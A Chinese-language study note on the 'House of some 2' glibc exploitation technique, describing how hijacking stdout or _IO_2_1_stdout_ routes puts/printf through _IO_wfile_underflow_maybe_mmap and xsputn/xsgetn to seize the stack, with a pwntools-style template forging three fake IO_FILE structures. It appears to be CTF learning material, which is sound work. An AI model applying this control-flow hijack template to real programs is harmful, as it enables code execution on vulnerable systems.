0%

Houseofsome2学习

House of some 2学习笔记

对于无法exit或者正常返回是无法触发_IO_flush_all_lockp的

需要中间的函数IO流进行调用

针对printf和puts函数的IO流,能够挟持stdout指针或者_IO_2_1_stdout结构体,就可以触发house of some 2

调用链:

利用比较复杂,混合了三条链,需要掌握underflow、default_xsgetn、default_xsputn以及_IO_wfile_underflow_maybe_mmap

调用链0:挟持puts等IO流输出函数的xsputn,挟持为_IO_wfile_underflow_maybe_mmap进入控制流

调用链/过程:

_IO_wfile_underflow_maybe_mmap(fp)

→→ _IO_file_underflow_maybe_mmap(fp)

→→→ decide_maybe_mmap(fp)

→→→→ write(无用)

→→→ _IO_UNDERFLOW
→→→→ SYS_READ(stdout) 覆写stdout然后控制wfile_jumps再次为wfile_underflow_maybe_m…

→→ _IO_wfile_underflow_maybe_mmap(fp)

→→→ _IO_file_underflow_maybe_mmap(fp)

→→→→ decide_maybe_mmap(fp)

→→→→→ _IO_default_xsputn 由于上面的mmap是wfile进来的,而这里的stat挟持依赖于IO_vtable,所以可以挟持为任意东西,这里的思路是挟持栈内数据然后修改后再放回去

→→→→ _IO_UNDERFLOW

→→→→→ SYS_READ(stdout)

→→→ _IO_wfile_underflow_maybe_mmap(fp)

→→→→ _IO_file_underflow_maybe_mmap(fp)

→→→→→ decide_maybe_mmap(fp)

→→→→→→ _IO_default_xsgetn 放回去之后的underflow要尽快退出利用ret挟持栈

→→→→→ _IO_UNDERFLOW

→→→→ 0xdeadbeef

其中最后过程的rdx可通过offset字段控制

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
_IO_wfile_underflow_maybe_mmap = libc_base + 0x7e7b04816f40 - 0x7e7b04600000
_IO_str_jumps = libc_base + 0x7363f02176c0 - 0x7363f0000000
_IO_default_xsputn = _IO_str_jumps + 0x38
_IO_default_xsgetn = _IO_str_jumps + 0x40

fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE._IO_buf_base = libc_base + libc.sym['_IO_2_1_stdout_']
fake_IO_FILE._IO_buf_end = libc_base + libc.sym['_IO_2_1_stdout_'] + 0xe0*2 + 0x8
fake_IO_FILE.flags = 0x8000 | 0x40 | 0x1000
fake_IO_FILE.vtable = _IO_wfile_underflow_maybe_mmap - 0x18
fake_IO_FILE._wide_data = libc_base + libc.sym['_IO_2_1_stdout_'] + 0xe0 # set _wide_data to next + 0xe0
fake_IO_FILE._mode = 0xffffffff
fake_IO_FILE._offset = 0x0 # control rdx

pad = bytes(fake_IO_FILE)

edit(0xe0, libc_base + libc.sym['_IO_2_1_stdout_'], flat([
pad
]))

fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE.flags = 0x8000 | 0x40 | 0x1000
fake_IO_FILE._IO_write_ptr = libc_base + libc.sym['_IO_2_1_stdout_'] - 0xe0*2
fake_IO_FILE._IO_write_end = libc_base + libc.sym['_IO_2_1_stdout_']
fake_IO_FILE._IO_buf_base = libc_base + libc.sym['_IO_2_1_stdout_'] - 0xf8 # change everytime the offset to RIP, change this!!!!!!!!!
fake_IO_FILE._IO_buf_end = libc_base + libc.sym['_IO_2_1_stdout_'] + 0xe0*2 + 0x8 # cover the wide_data_vtable
fake_IO_FILE._IO_read_ptr = libc_base + libc.sym['_IO_2_1_stdout_'] + 0xe0 * 3 # anywhere can write
fake_IO_FILE.vtable = _IO_default_xsputn - 0x90
fake_IO_FILE._wide_data = libc_base + libc.sym['_IO_2_1_stdout_'] + 0xe0 # next + 0xe0
fake_IO_FILE._mode = 0xffffffff
fake_IO_FILE._offset = 0x0 # control rdx

s(flat([
bytes(fake_IO_FILE), b'\x00'*0xe0, _IO_wfile_underflow_maybe_mmap
]))

fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE.flags = 0x0010 # the way to ret quick when enter underflow
fake_IO_FILE._IO_buf_base = libc_base + libc.sym['_IO_2_1_stdout_'] - 0xf8 # change everytime the offset to RIP, change this!!!!!!!!!
fake_IO_FILE._IO_buf_end = libc_base + libc.sym['_IO_2_1_stdout_'] + 0xe0*2 + 0x8 # cover the wide_data_vtable
fake_IO_FILE.vtable = _IO_default_xsgetn - 0x90
fake_IO_FILE._wide_data = libc_base + libc.sym['_IO_2_1_stdout_'] + 0xe0 # next + 0xe0
fake_IO_FILE._mode = 0xffffffff
fake_IO_FILE._IO_read_ptr = libc_base + libc.sym['_IO_2_1_stdout_'] - 0xe0*2
fake_IO_FILE._IO_read_end = libc_base + libc.sym['_IO_2_1_stdout_'] - 0xa8
fake_IO_FILE._offset = 0x0 # control rdx

s(flat([
0xdeadbeef, b'\x00'*0xf0, bytes(fake_IO_FILE), b'\x00'*0xe0, _IO_wfile_underflow_maybe_mmap
]))

流程图偷csome:

Untitled

_IO_2_1_stdout_ 附近布局如下:

Untitled

理论上只要挟持了IO结构体,然后进入了IO流,能够挟持到_IO_wfile_underflow_maybe_mmap 就能触发整个攻击流程

鉴定为无法利用_IO_flush_all_lockp触发,因为第二次刷新了